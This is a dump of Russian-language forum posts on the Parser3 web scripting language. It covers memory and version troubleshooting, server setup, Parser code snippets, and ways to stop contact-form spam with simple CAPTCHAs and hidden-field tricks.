\
@createFolder[newFolder]\
$f[ ]\
$error[<Error number=\"0\" originalDescription=\"No Error\" />]\
^try{\
^f.save[${path}${newFolder}/tmp.tmp]\
}{\
$exception.handled(1)\
$error[<Error number=\"500\" originalDescription=\"$exception.comment   ${path}${newFolder}/tmp.tmp\" />]\
}\
^if(def $error){\
$body[$error]\
}{\
\
$body[^getFolders[]]\
}\
\
$result[^createXmlHeader[] $body ^createXmlFooter[]][/code]"
"50465","^try{\
	^sleep(0)\
}{\
	врссия parser != 3.2\
}\
\
ДУмаю оч серьёзно к этому решению относиться нельзя"
"50466","Не знаю как другим, но мне часто необходимо, чтобы превью был осмысленным. Если большое фото содержит много мелких, но важных элементов, то простое его уменьшение создаст лишь некое цветное пятно, непонятное никому, кроме автора.\
Поэтому фотография кадрируется для получения превью со смысловым акцентом.\
Но это лично в моих задачах, когда фотографии размещает соответствующий редактор/контент-менеджер.\
----\
А может кто-то объяснить необходимость выкладывания пользовательских картинок размером больше, скажем, 1600 точек?"
"50467","Значит так, по-порядку.\
\
при поступлении текста с формы, он сохраняется, заменившись все энтеры на <br />. (Так их удобнее хранить в файликах-таблицах).\
Когда же нужно выводить этот текст, я делаю ^untaint[as-is]{$text}. все работает, слов нет.\
Но бывает, что нужно этот текст изменить, и вывести в тег типа <textarea>. Но этот тег почему-то ^untaint не понимает и выводит  весь текст вместе с <br />.\
\
Поможите, а!"
"50468","пожалуйста, выловите ситуацию в чистом виде.\
если выяснится, что вы действительно берёте атрибуты у того, у кого атрибутов не бывает, то пенять можно будет на себя.\
else на меня ;)"
"50469","ErrorDocument вызывает internal redirect, при этом посетителю не выдаётся location:..."
"50470","возможно, в этом случае будет \
[code]\
^if(def $env:REDIRECT_REDIRECT_REQUEST_URI){\
  мы в ошибочной странице\
}\
[/code]"
"50471","проблему не наблюдаю.\
перед каждым запросом запускается принудительная сборка мусора."
"50472","http://www.parser.ru/docs/lang/envpver.htm"
"50473","давно думаю, и зачем эти странные создатели форума слева ценное место потратили под совершенно не нужный блок с какими-то ключевыми словами и странной кнопкой \"Найти\"."
"50474","Версия 3.2.1.\
Я постараюсь все еще раз перепроверить, чтобы зря не клеветать.\
Но реальность, что наблюдаю сейчас:\
\
334M active\
1407M Inact\
172M Wired\
82M Cache \
112M Buf\
9416K Free\
\
Мне кажется размер свободной памяти не внушает доверия. SWAP пока чист.\
ОС FreeBSD 6.0\
Обший размер ОЗУ 2Гб."
"50475","gc кидает в логи (а я так понял именно ей вычищается мусор):\
\
GC Warning: Repeated allocation of very large block (appr. size 180224):\
        May lead to memory leak and poor performance.\
\
Возможно это поможет."
"50476","Странно, так почему в 3.1.6 работает а в 3.2.1 нет\
\
просто меняю\
\
Action  application/parser3 \"/parser321/parser3.exe\" \
Action  application/parser3 \"/parser316/parser3.exe\" \
\
и не хочет видеть Parser/3.2.1 (compiled on i386-pc-win32) здесь атрибутов,"
"50477","было решено проблемы с IIS лечить заменой его на Apache :)"
"50478","Есть ли у кого либо наработки на парсере чтобы заминить эту фичу на пхп парсеровским кодом????"
"50483","[code]@init_modules[]\
$list[^file:list[/data/classes/;\\.p^$]]\
^list.menu{\
	^use[$list.name]\
#	а тут должен быть код, который вызовет функцию\
#	из только что подключенного класса, к примеру\
#	^<class_name>:script[version]\
}[/code]\
\
Пробовал создать строчку вызова функции и пропустить её через ^do[], но слишком каряво выходит :) Как бы это более лаконично сделать?"
"50484","Зависит от того что делает ^do[]\
Можно так попробовать:\
[code]\
^do[\
	^list.menu[...]\
]\
[/code]\
Или с postrocess что-нибудь замутить."
"50485","нужно вызвать функцию из только что подключенного класса, но дело в том, что имя класса я также подгружаю из списка фалов, таким образом мне надо вызвать конкретную функцию из динамически подключенного класса... имя класса - переменная."
"50488","[quote]А может кто-то объяснить необходимость выкладывания пользовательских картинок размером больше, скажем, 1600 точек?[/quote]\
Легко.\
Мой заказчик - фотограф. Далек от SaveForWeb, превьюшек и прочего. Ему нужен сайт таким, чтобы не заморачиваться с выкладыванием фоток. Он фотографирует с большим качеством, выгружает их на комп и заливает на сайт. Въезжать, зачем ему нужно открывать фотошоп, он не хочет. Но он платит деньги. Деньги нужны мне. Соответственно, я должен сделать так, как он хочет.\
И все."
"50489","Научи его сбрасывать все его фотки в одну директорию на локальном диске - это ему не сложно будет понять, а сам напиши батник, который всё что надо будет делать локально, а потом заливать по ftp на сайт. Nconvert поставь локально, разумеется."
"50493","- предлагаю скачать Uploadr, посмотреть на его интерфейс и сделать так же (пишется на Visual Basic полдня, на VB.NET и того меньше).\
\
А вообще я бы порекомендовал фотографу для инфы о себе держать сайт-визитку, а фотографии держать на flickr pro account. Ни один вебмастер не осилит сделать близколежащий к flickr функционал (не обижайтесь, это правда), да и о bandwidth беспокоиться не надо."
"50494","Прозвучало в тишину..."
"50495","я просто уверен: те телепаты, которые увидели где в приведенном вами коде проблема отправили вам ментальный ответ."
"50496","Выделенный сервер."
"50497","нет\
Документации на русском языке: \
MySQL\
Модуль Apache mod_rewrite (перевод от egr)\
Руководство по URL преобразованиям (перевод от egr)\
HTML 3.2\
HTML 4.01\
XHTML 1.1\
Введение в JavaScript\
CSS2\
XPath\
XML 1.0\
XSLT 1.0\
XSLT в примерах\
Регулярные выражения в Perl\
XUL по русски\
Документации на русском языке для скачивания в формате CHM: \
	\
html401_ru.chm (11.01.2005  626,2 КБ) \
HTML 4.01	\
	\
css_ru.chm (11.01.2005  924,7 КБ) \
CSS2	\
	\
xpath_ru.chm (11.01.2005  70,6 КБ) \
XPath 1.0	\
	\
xml_ru.chm (11.01.2005  121,2 КБ) \
XML 1.0	\
	\
xslt_ru.chm (11.01.2005  150,7 КБ) \
XSLT 1.0	\
	\
cvs_ru.chm (02.11.2005  146,2 КБ) \
CVS	\
\
Документации на английском языке: \
CGI Environment Variables\
RSS 2.0\
PCRE\
HTTP 1.1 (RFC 2616)\
Документации на английском языке для скачивания в формате CHM: \
	\
ms_xml_5.0.chm (07.12.2005  3,2 МБ) \
XML, DOM, XSLT, XPath (с примерами)	\
\
Текстовые редакторы: \
PSPad (freeware)\
Crimson Editor (freeware)\
ConTEXT (freeware, нет возможности открывать файлы по FTP)\
UltraEdit (shareware)\
EditPlus (shareware)\
EmEditor (shareware)\
Полезные книги: \
Базы данных. Проектирование, реализация и сопровождение. Теория и практика, Томас Коннолли, Каролин Бегг\
Введение в системы баз данных, К. Дж. Дейт\
Системы баз данных. Полный курс, Гектор Гарсиа-Молина, Джеффри Ульман, Дженнифер Уидом\
Программист-прагматик. Путь от подмастерья к мастеру, Эндрю Хант, Дэвид Томас\
Шаблоны проектирования. Новый подход к объектно-ориентированному анализу и проектированию, Алан Шаллоуей, Джеймс Р. Тротт\
Практика программирования, Брайан Керниган, Роб Пайк\
Рефакторинг. Улучшение существующего кода, Мартин Фаулер\
Искусство программирования для Unix, Эрик C. Реймонд\
Экстремальное программирование, Кент Бек\
Экстремальное программирование: разработка через тестирование, Кент Бек\
Экстремальное программирование: постановка процесса. С первых шагов и до победного конца, Кент Ауэр, Рой Миллер\
Объектно - ориентированный анализ и проектирование с примерами приложений на С++, Гради Буч\
Основные концепции языков программирования, Роберт У. Себеста\
Архитектура корпоративных программных приложений, Мартин Фаулер\
Совершенный код, С. Макконнелл\
Регулярные выражения, Дж. Фридл\
MySQL, Леон Аткинсон\
SQL. 3 издание, Дж. Грофф, П. Вайнберг"
"50498","пока не разберемся, что же там не так / какова разница при работе с Dom у 3.2.1 и 3.1.6"
"50499","Буду надеяться что когда-нибудь эти изменения с DOM отразятся и в http://www.parser.ru/docs/"
"50500","мы неработоспособностей не нашли, хотя ПАФ прогнал кучу тестов да и 3.2.1 с Imp1 тоже нормально заработал, правда там Dom не очень сильно используется.\
\
если вы о них не сообщите, то это ещё не скоро будет поправлено."
"50501","Вопрос ещё актуален?\
есть ещё смысл писать ответ? :)"
"50503","вы нехватку денег в своём кармане тоже анализируете по отчёту госкомстата на конец года по всей стране?\
\
каковы цифры size/rss у детей apache?\
как они меняются с ходом времени?"
"50504","неплохо бы сделать, чтобы счётчик \"repeated\" обнулялся при запросе очередной страницы, но в libgc нет такого интерфейса, а patch'ить без дела мне не захотелось."
"50505","и вы почему-то упорствуете, не желая её искать.\
\
между тем parser вам явно указывает точку, где вы достаёте атрибуты у чего-то, что ELEMENT'ом не является.\
у чего?\
\
просто поставьте try вокруг проблемной строчки, подхватите exception и [b]напечатайте[/b] тип сущности, от ^которой.getAttribute[] вы делаете.\
\
уверен, сами удивитесь."
"50506","На какие программы такого рода следует, по-вашему, обратить внимание? :)"
"50507","На сайте есть форма обратной связи, в последнее время с нее приходит огромное количество спама. При чем спам-сообешния совершенно не осмысленные, типа: \"This is a multi-part message in MIME format.\
--bf415eb712c6c08f2cd528e2bdb5ff02\
Content-Type: text/plain; charset=\"us-ascii\"\
\". Присылаються все время с разных адресов.\
Может быть у кого-то найдеться совет как прекратить это безобразие.\
\
Заранее благодарю."
"50508","У меня к примеру на одном из сайтов в форме генерится картинка на которой буквами написано трехзначное число.\
Человек его вводит в форму в виде числа.\
Перед отправкой проверяется соответственно проверяется правильность ввода."
"50510","А как генерируется картинка и, как происходит сверка?"
"50511","Ну вот мой пример. \
Честно говорю, написано быстро и на коленке. Можно и юзящнее сделать. =)\
\
PS: Господа, а прокомментируйте мои извращения кстати.. =)\
\
В базе есть таблицы spam1, spam2 и spam3. В них содержатся соотношение id, текста для числа и значения этого числа.\
spam1 - Для сотен, spam2 для десятков, spam3 - единицы.\
\
[code]\
CREATE TABLE `spam1` (\
  `id` int(11) NOT NULL auto_increment,\
  `period` varchar(255) NOT NULL default '',\
  `num` int(11) NOT NULL default '0',\
  PRIMARY KEY  (`id`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 ;\
\
INSERT INTO `spam1` (`id`, `period`, `num`) VALUES \
(1, 'Восемьсот', 8),\
(2, 'Пятьсот', 5),\
(3, 'Сто', 1),\
(4, 'Триста', 3),\
(5, 'Двести', 2),\
(6, 'Девятьсот', 9),\
(7, 'Четыреста', 4),\
(8, 'Семьсот', 7),\
(9, 'Шестьсот', 6);\
[/code]\
\
\
Форма:\
\
В форме генерим случайное число из семи знаков. Цифры не больше восьми и не ноль (для простоты, чтоб не заморачиваться с написанием числа типа \"двести одинадцать\", а было всегда три порядка, аля \"сто двадцать три\".\
\
[code]\
^while($id1 == 0){$id1[^math:random(8)]}\
^while($id2 == 0){$id2[^math:random(8)]}\
^while($id3 == 0){$id3[^math:random(8)]}\
^while($id4 == 0){$id4[^math:random(8)]}\
^while($id5 == 0){$id5[^math:random(8)]}\
^while($id6 == 0){$id6[^math:random(8)]}\
^while($id7 == 0){$id7[^math:random(8)]}\
\
$id[${id1}${id2}${id3}${id4}${id5}${id6}${id7}]\
\
<form action=\"get.html?sent_id=$id\" method=\"post\">\
<img src=\"/num.html?id=$id\" />\
<input type=\"text\" name=\"period\">\
[/code]\
\
\
Файлик который генерит картинку:\
\
Здесь генерим картинку по тому числу которое сгенерили в форме (num.html).\
\
[code]\
$id[^form:id.int(0)]\
\
^if(^id.length[] == 7){\
  $txt1[^connect[$SQL.connect-string]{^string:sql{select period from spam1 where id = ^id.mid(1;1)}}]\
  $txt2[^connect[$SQL.connect-string]{^string:sql{select period from spam2 where id = ^id.mid(3;1)}}]\
  $txt3[^connect[$SQL.connect-string]{^string:sql{select period from spam3 where id = ^id.mid(5;1)}}]\
\
  $sq[^image::create(200;20;0xffffff)]\
  ^sq.font[АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя;rusfnt.gif](4)\
  ^sq.text(10;5)[$txt1 $txt2 $txt3]\
  $response:body[^sq.gif[]] \
}\
[/code]\
\
\
Это файл отправляющий данные:\
\
Проверяем то ли число ввели, сверяя данные из базы с полученными из формы (get.html).\
\
\
[code]\
$sent_id[^form:sent_id.int(0)]\
^if(def $form:sent_id && def $form:period){\
  $txt1[^connect[$SQL.connect-string]{^string:sql{select num from spam1 where id = ^sent_id.mid(1;1)}}]\
  $txt2[^connect[$SQL.connect-string]{^string:sql{select num from spam2 where id = ^sent_id.mid(3;1)}}]\
  $txt3[^connect[$SQL.connect-string]{^string:sql{select num from spam3 where id = ^sent_id.mid(5;1)}}]\
  ^if('${txt1}${txt2}${txt3}' eq $form:period){\
    Отправка.\
  }{\
    Спам.\
  }\
}{\
  Не указан код проверки.\
}\
[/code]"
"50513","А вообще я у себя сделал простую проверку полей на вхождение multi-part\
[code]\
$str[$form:any_field]\
^if(!^str.match[content-type:\\s+multipart/mixed][i]){\
	^rem{ пишем данные }\
}{\
	^rem{ пошёл в баню спамер }\
}\
[/code]"
"50514","1. К сожалению достойных framework я так и не увидед\
2. мне предлагали разработку плагина к Eclipse за 15000 eur... Хотя знакомый говорит что это просто.\
3. Без первых двух на фоне пхп и питона, набирающего оборота не будет толку."
"50515","1 Генерирую случайные имена для формы\
2 Привязываю комплект случайных имён к случайному числу\
3 Случайное число задаю в поле key\
4 Остальные имена проверяю в соответствии с таблицей см п 2\
\
Одним из результатов является:\
<form method=\"post\">\
<input name=\"key\" type=\"hidden\" value=\"7008217379A91B602AED2921AD95BBF7\" />\
Ваш e-mail: <input type=\"Text\" name=\"B98961F2325786BFA83506A9D4CBAA4F\" size=\"40\" value=\"\" /><br />\
Тема:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"Text\" name=\"953A6277BD79437EC481AE5D34A28E39\" size=\"40\" value=\"\" /><br />\
<textarea name=\"BFF39DA8DE67764A1969E53DC6C666DE\" cols=\"60\" rows=\"17\"></textarea><br />\
<input type=\"Submit\" name=\"A964795EE5016B1B4487766A761FE1A6\" value=\"Отправить\">\
</form>\
\
Ещё наблюдение:\
Спамеры не поддерживают куки\
Страница для отправки письма является первой\
ip адрес с которого они заходят в 90% случаев ни когда раньше на сайт незаходил (для сайта работающего 2 года, посещаемость ~150 чел в день), можно теоретически вести статистику на какие страници заходили с данного ip\
\
И ещё одно наблюдение, после того как выдяёш ошибку 500 или 404 спам отправляется с меньшей частотой\
В случае изменения страницы с верхней рекомендацией, спам и попытки отправить спам прекращаются практически моментально. те Ip адресов влоге существенно уменьшается\
\
Если выше перечисленные инструменты исчерпают себя подумаю ещё, и, возможно перейду на картинку с подтверждением"
"50516","хотелось бы видеть обучающие материалы н тему создание сложных систем администрирования и framework на парсер. Уверен что это поспособствует распространнию языка. \
Кто-нибудь брался за разработку подобных систем?"
"50517","Кодить сложные системы на парсере неудобно. Для этого есть другие языки."
"50519","В дополнении к основному вопросу, там все прописано, но есть подозрение что он не выполняется(auto.p)! Т.к. его изменение ни к чему не приводит. Вообще куда жлательно устанавливать Парсер для IIS 6,0?"
"50520","Парсер сам по себе, это всего лишь прекрасный инструмент.\
\
Хорошая CMS/Framework написанная на парсере - это уже достаточно самостоятельный продукт, и я уверен, что не у одного меня разработан/разрабатывается framework, который автор считает неуступающим или гораздо лучшим продуктом, по сравнению, например, с большей частью того, что было представлено на www.opensourcecms.com, или, по сравнению, c  известным отечественным коробочным продуктом (почему-то во многом совместимым с phpnuke).\
\
Такая завышенная самооценка может быть следствием того, что парсер позволяет сконцентрироваться на результате, а не на ломании копий об убогий язык, например PHP, который мечтает стать Явой (PHP6), непонятно зачем сохранив совместимость с PHP3.\
Я видел много кода на том же самом PHP, потребности в котором нет в новых версиях. Отсюда и получается, что негромоздких современных использующих все возможности языка систем, среди всего этого изобилия, вам не найти.\
Разве только, кто знает про flux-cms да rubyonrails\
\
Многие не хотят делиться своим кодом на парсере, потому что он делает много, весит мало, и его пришлось писать самому без всякой помощи.\
\
А вероятность, что твои идеи или код начнут приносить прибыль, но не тебе, очень велика (см. выше про PHPNUKE).\
\
Сообщество разработчиков невелико, профессионалов единицы, немеркантильных людей в нем почти нет."
"50521","ограничения есть, но и есть почти все необходимое"
"50522","У меня есть рабочая версия, которую скоро опубликую в рассылке.\
Кому интересно пишите. khusamov@yandex.ru"
"50523","Способы с вводм числа подтвержения и т.п. - напрягают пользователя. Можно попробовать сделать несколько кнопок подтверждения отправки сообщения (submit) с разными action, но только одну из них \"правильную\". А \"не правильные\" сделай не видимыми для пользователя. Робот обламается разбираться, а человек нажмёт то, что видит."
"50524","Тут на форуме столько отличным программистов. Есть правда те, кто делится своими кодами. Но никто не хочет поделится (за исключением одного) принципами своего двигателя. Ведь не секрет, что практически каждый из вас пишет свой движок. Так ведь?\
\
Я тоже пишу. Есть рабочая версия (скоро опубликую). И пишу новую. Ибо не нравится то что сделал. Не катит пока. Также веду рассылку на эту тему. В которой излагаю принципы моего подхода к конструированию двигателя.\
\
В интернете нет обучающих материалов как строить подобные сложные системы. Сомневаюсь что в учебных заведениях такое дают.\
\
В связи с этим, предлагаю откликнуться тем, кто хочет поделится принципами своего двигателя, кто хочет научится или обучать других созданию сложных систем, но не знает с чего начать. Ну и кто хочет достичь результата и получить такой двигатель.\
\
Пишите: khusamov@yandex.ru"
"50525","Глупо считать что PHP говно.\
1. Он достаточно удобный, в нем реализовано много полезных вещей(например куча хелперов)\
2. на нем пишут многи очень хорошие веб-программисты.\
3. Он распространен, прекрасно поддерживается(несколько хороших IDE для го написано Zend, phpEclipse\
4. куча библиотек функций и фрэймворков.\
RubyOnRails и Python лежат у кровати автора и читаются перед сном в целях дальнейшего использования\
\
Zend Framework очень неплох, Сakephp и т.д. там мало откатов. По крайней мере есть на чем учиться в отичии от десятка примеров.\
\
Все профессионалы работающие с Парсер -- в прошлом программировали на куче других языков. \
\
У новичка есть два варианта -- либо оставаться на базовом уровне владения языком, либо изучать другие, дабы понять программирование.\
Сам боюсь выкладывать свой код, поскольку учиться не начем, для того чтобы научиться писать правильно полез за 5 пхп и чувствую себя ущербным в разговоре с разработчиками делающим то, что на парсере я не знаю как сделать."
"50526","В нем сделано очень  много хорошего.\
Но если не использовать его для сложных проектов, зачем он тогда нужен? \
Вопрос в другом, нет ни одного примера создания интересной системы, на котором можно научиться."
"50527","Я взял систему на ПХП и переделываю ее на Парсер, но к сожалению, гораздо быстрее было бы использовать пхпшный фрэймворк."
"50528","Зачем переделывать хорошую систему на другой язык?"
"50529",">Но если не использовать его для сложных проектов, зачем он тогда нужен?\
\
Написано же:\
\"На Parser могут работать далеко не профессиональные программисты.\"\
\
Программисты-непрофессионалы, как правило, сложных проектов не делают :-)."
"50530","К слову, да. Я еще понимаю, допустим, надо переделать с .NET на Java (чтобы под Unix-системами работало), но с PHP на Parser..."
"50531","В целях обучения"
"50532","а распространяют парсер через сайт чтобы отлавливать баги."
"50533","правда для этого требуется парсер 3.1.5 или выше.\
\
а если не поможет то мне понравились предложения Oleg-а, т.к. все остальные заставляют что-то делать ни в чем не повинного пользователя :)"
"50534","1. Размещаю кода счетчика посещений в корневом auto.p - код не работает. Помещаю копию страницы и auto.p в папку - код работает.\
Подскажите, пожалуйста, в чем может быть причина?\
2. Если не справлюсь с п.1., как в Parser перенаправить все входы в корень сайта на другую страницу."
"50535","сначала хакер смотрит глазами,\
и видит, что на картинке\
[code]\
<img src=\"/num.html?id=91929399\" />\
[/code]\
написано «сто двадцать три». это подметить тривиально (не нужно видеть ваш код).\
\
после чего хакер даже не пытается писать код распознавания картинки, ему это не нужно, он сразу знает, что вписать в поле.\
\
\
вы почти всё правильно сделали — таблица соответствия видимого мусорного id и того, что ожидают от человека.\
\
однако устроили прямую связь между видимой хакеру id'шкой [code]\
<img src=\"/num.html?id=$id\" />\
[/code]\
и текстом на картинке.\
\
а нужно было \
1. устроить случайную связь:\
после создания случайной $id, в базу записать случайное же число, которое и ожидать от пользователя.\
базу чистить от старого мусора по record.time<порог.\
\
2. не забыть о том, что картинка должна быть [b]трудно[/b] распознаваемой на автомате. если вы не затрудните её распознание, робот хакера просто «прочтёт» картинку, и восстановит написанный на ней текст."
"50536","Я не заставляю пользователя ничего лишнего делать. Ему всё равно на кнопу нажать надо будет."
"50537","тупейший скрипт считает[GET] ваши цифирьки и передаст[POST] их вам обратно.\
\
есть две ситуации: \
1. атакуют\
2. забрёл тупой робот.\
\
от тупого робота можно защищаться через javascript или невидимые кнопки.\
от осмысленно атакующего человека нужен какой-то тест Тьюринга."
"50538","Принцип один (см. antiflood) - генерация для формы уникального идентификатора, хранение его некоторое время и, при поступлении данных из формы, сверка выданного и полученного.\
Обычно хватет одного идентификатора на всю форму.\
\
Можно пойти дальше и сделать более нафороченный вариант:\
генерировать столько идентификаторов на форму, сколько полей и заменять все имена полей идентификаторами.\
При послуплении данных сверять идентификаторы и преобразовывать обратно в имена полей.\
О похожем способе [url=\"http://www.parser.ru/forum/?id=50515\"]писал Oleg[/url].\
Но этот вариант более накладный в плане времени на генерацию/сверку и хранение идентификаторов.\
\
К тому же, у него есть ещё один недостаток:\
поскольку изменяются имена полей формы, то, при вводе данных в поле, браузер не предложит вариантов, ранее введённых в одноимённое поле.\
Поэтому нужно самостоятельно эмулировать подобие этой функции и сохранять нужные поля в куках, а потом доставать и подставлять...\
\
По факту того, что вам постят, могу сказать, что сам сталкивался с абсолютно такой же ситуацией.\
Спамеры в надежде, что отправленное приходит в почту гадили от всей души.\
Ввёл защиту на основе одного идентификатора, с тех пор ни одного козла нагадить не смогло.\
Хотя, наверное, не сильно и старались."
"50539","Так что же код приводить, я взял его с этого сайта поставил как есть. И вот такая ошибка\
'connect-string' element can not be stored to void type: parser.runtime\
Откуда мне знать откуда она возникает, кроме этой надписи больше ничего не написано (типа номер строки с ошибкой). Вот уже 2 год не могу поставить класс авториации. Страшно становится иногда..."
"50540","как вы создаёте объект, какие параметры передаёте его конструктору.\
\
А то только \"помогите, сколько не делаю - ничего не получается\", а где оно это \"делаю\" и где оно это \"ничего не получается\"?\
Нету их."
"50541","со стандартной библиотекой идущей с парсером выдаёт при конекте:\
\
connectDBStart() -- socket() failed: errno=0\
No error\
\
если брать libpq.dll от установленного pgSQL, то выдаёт вообще:\
W:\\Apache2\\cgi-glob\\parser/lib/parser3pgsql.dll\
driver failed to initialize client library 'W:\\Apache2\\cgi-glob\\parser/lib/libpq.dll', can not open the dynamic link module"
"50542","Есть в наших планах сделать сайт с примерами, копируя с которого отдельные элементы, можно было бы встаривать их в свой проект и на основе нашего движка быстро лепить программную основу для сайтов.\
На основе нашего движка любой статичный сайт без особых наворотов я собираю, имея готовый дизайн, за пару часов.\
Сейчас практически готовы и работают:\
- авторизация\
- модуль для создания иерарчичной стуктуры сайта и хранения контента в БД, ну и постоения меню на сайте вызовом одного метода и применением XSLT-шаблона\
- есть набор классов для быстрого создания форм (форма описывается через XML)\
- конструктор фотогалерей\
- конструктор публикаций (новости, статьи, интервью, репортажи и т.п.)\
- к админове прикручен фск-едитор, для версти контента страниц юзерами не очень продвинутыми.\
- голосования\
- гостевая с защитой от спама ввиде случайных цифорок\
- есть форум с навореченным разделением прав (основные идеи хранения данных взяты с этого форума, отдельное мерси Мише Петрушину)"
"50543","Если работает\
покажите счётчик и как его вызываете.\
Что значит не работает? какая ошибка выпадает?\
или делает вид что работает, куда пишется счётчик?\
если в файл, разрешена-ли запись для каталога?\
\
Дайте информацию, а то ответа не дождётесь"
"50544","На странице http://www.galkasoft.ru/ установлен счетчик CNStats. При размещение его в заголовок - считает, а в <BODY> - нет.\
Тот же счетчик в <BODY> на странице http://www.galkasoft.ru/en/ работает."
"50545","Как правило можно определить идёт атака, или обычная работа по количеству обращений. Если за день обычное/ненапрягающее ни кого количество обращений 2/10 то можно просто поставить счётчик обращений после чего просить вбивать циферку, или изменять условия жёсткости теста/дополнительная головная боль атакующему/прозрачность для пользователей"
"50546","Ваш слишком прост в реализации и эфективен :)"
"50547","http://www.brasco.org/guestbook/#add\
В одно время была проблема спама - теперь её нет совсем!\
\
Выбросив всё лишнее получаем такой хтмл-код:\
\
[code]<input type=hidden name=publickey value=\"22666\">\
<img src=\"secretpic.html?publickey=22666\">\
<input type=text name=\"secretkey\" value=\"\">[/code]\
\
Код secretpic.html примрно такой:\
[code]@main[]\
^connect[$connect_string]{\
$publickey[^form:publickey.int(0)]\
$secretkey(^int:sql{select secretkey from secpic where publickey=$publickey})\
$secretImage[^image::create(80;40;0xEEEEEE)]\
^secretImage.font[1234567890;/img/digits.gif](0)\
^secretImage.text(1;15)[$secretkey]\
$response:body[^secretImage.gif[]]\
$response:expires[^date::create[1990-01-01 00:00:00]]\
}[/code]\
\
Табличка \"secpic\" состоит из 3-х полей:\
secretkey, publickey, date_time (нужно, чтобы периодически удалять из неё старые записи, которые например старше 1 дня).\
Данный скрипт можно усложнить, дабы затруднить распознавание, но как показывает практика даже это вполне хватает, чтобы спамеры учкнулись!"
"50549","http://www.parser.ru/forum/?id=50049 :)\
нашёл позже чем написал сюда\
подошёл libpq74.dll для версии 8.1.2!\
сейчас проверю - поставлю 8.1.3"
"50550","Демо давно лежит: http://aktar.sibarit.ru\
А вот с GPL пока туговато, уже года полтора ломаем директора, пока отнекивается, боится, что дыры в безопасности найдут.."
"50551","и задумывалась для небольших сообщений юзеров, ну кто виноват, что они умудряются туда бомбить такие опусы :)) и при этом размер полей их никак не смущает.\
Хотя наверное вы правы - надо будет немного увеличить поля, чтобы людям стало писать удобнее :))"
"50552","$SQL.connect-string[mysql://root@localhost/authdb]\
# создаем SQL объект через который будут происходить все обращения к SQL\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]"
"50553","теперь покажите гвоздь программы - объект auth."
"50554","Всем привет :)\
Понимаю конечно, что форум по парсеру, но народ тут знающий...а я уже задолбался в бубен колотить...\
\
Вообщем вот есть страничка..\
\
http://www.betsee.com/rab/gps.htm (просто сохранил страничку с домашнего сервера..так что нажимать ненадо не на что)\
\
Ну дак вот собственно проблема:\
\
Если навести на маленькие, голубенькие знаки вопроса (слева и внизу страницы) то выскакивает подсказка по текущему элементу. Рядом с мышкой...так как доктор прописал\
\
А если навести на рисунок метки на карте то форма (используеться один и тот же набор JS функций) появляется не рядом с мышкой а в левом верхнем углу экрана. \
Есть у меня подозрение, что это происходит потому, что метки сидят в <div></div>..а как поправить...незнаю.\
\
Буду благодарен за помощь."
"50555","Вот метод из примеров:\
[code]@my_cache[body][cacheFile]\
$MAIN:wrongCache(0)\
$cacheFile[$CACHE_DIR/${cache_key}_ck]\
^cache[$cacheFile]($cache_time){\
$body\
}\
^if($MAIN:wrongCache && -f $cacheFile){\
	^file:delete[$cacheFile]\
}\
[/code]\
\
Там сказано, что его нужно вызывать так:\
^my_cache{\
     тут код\
}\
\
Мне интересно, как передать методу параметр cacheFile ?"
"50557","Сделал сайт encycl.atsar.ru - все работает.\
Не получить доступ к странице с определенной датой - http://encycl.atsar.ru/st/?year=2006&month=3&day=8\
Выдается:\
[code]out of memory: failed to reallocate to 2818052 bytes. heap_used=518836224, heap_free=81096704, bytes_since_gc=1420279932, total_bytes=1420279932[/code]\
С чем может быть проблема?"
"50558","[code]@main[]\
^a[]\
^throw[optimize-me;сколько]\
^b[]\
^c[][/code]\
Потом:\
[code]@main[]\
^a[]\
^b[]\
^throw[optimize-me;сколько]\
^c[][/code]\
И т. д.\
\
Найдете самый расходный метод(ы), далее анализируете подобным образом внутри него (них). Оптимизируете. Используете ^memory:compact и все должно быть хорошо.\
\
+ http://www.parser.ru/forum/?id=43911"
"50560","Не понял, что за \"сколько\" в [code]^throw[optimize-me;сколько]\
[/code]\
В документации написано:\
[code]\
^throw[type;source] \
^throw[type;source;comment]\
[/code]\
Если можно, по подробнее про optimize-me и \"сколько\"."
"50562","Добавил вёрстку висячей пунктуации. Для тех кто не в теме читаем: http://www.artlebedev.ru/kovodstvo/120/\
\
Кому интересно [url=\"http://www.typograf.ru\"]сюда[/url]. Не забудьте зарегистрироваться и включить эту фичу в настройках.\
\
Также загляните в раздел \"Изменения\", там описан CSS необходимый для всего этого безобразия."
"50565","Зачем обучаться на переделке хорошей системы на другой язык?\
Может стоит пользоваться готовой системой?\
А если вам нужен Парсер (он лучше PHP например чем-то), то он нужен ДЛЯ ЧЕГО-ТО. Может тогда обучаться на этом чем-то? Оно ведь полезнее, чем переделывать готовое!\
Как вы считаете? Что рациональней?"
"50566","У кого есть сайты про Парсер?\
Кто-то может учебник пишет?\
У меня есть варианты сотрудничества!\
Пишите: khusamov@mail.ru"
"50567","Только, думается, надо не раздавать код по ящикам или рассылкам, а публиковать.\
И пусть народ обсуждает.\
Так будет всем лучше.\
\
Ну а если широкой огласки не хочется, то и толку из затеи не выйдет."
"50568","У меня javascript дает в результате значение какой-нибудь переменной. Как передать значение этой js-переменной переменной парсера?\
В совсем упрощенном варианте:\
==\
<script>var x=1</script>\
<body>\
$x\
</body>\
=="
"50569","А широкую огласку я хочу. Только вот на форуме я не понимаю как это сделать. Ведь говорить надо будет много. Вот в рассылке и пишу об этом. Потому и приглашаю в рассылку. \
\
У меня рассылка давно, но она плохая. Сейчес реорганизую заново. И опубликую здесь ссылку на подписку."
"50570","полезнее уметь больше."
"50571","1. можно воспользоваться ajax технологией\
2. можно перегрузить страницу, передав значение переменной как параметр."
"50573","Ну, не то, не другое не подходит конечно.\
\
Может быть подскажете, как мою проблему вообще другим способом решить:\
\
Есть у меня два выпадающих списка. Второй список disabled, пока не выбран пункт из первого списка. Когда в первом списке выбирается пункт, второй список, не только становится доступен (делаю с помощью javascript, примерно как здесь http://www.parser.ru/forum/?id=20293), но и пункты здесь будут зависеть от того, какой пункт выбран в первом списке. Они берутся из БД. \
\
Как, выбирая пункт в первом списке, сразу определить какую-то переменную, по которой из БД будут дергатьтся пункты для второго списка? При чем не по submit'у, не по перегрузке страницы, а сразу по клику пункта в первом списке."
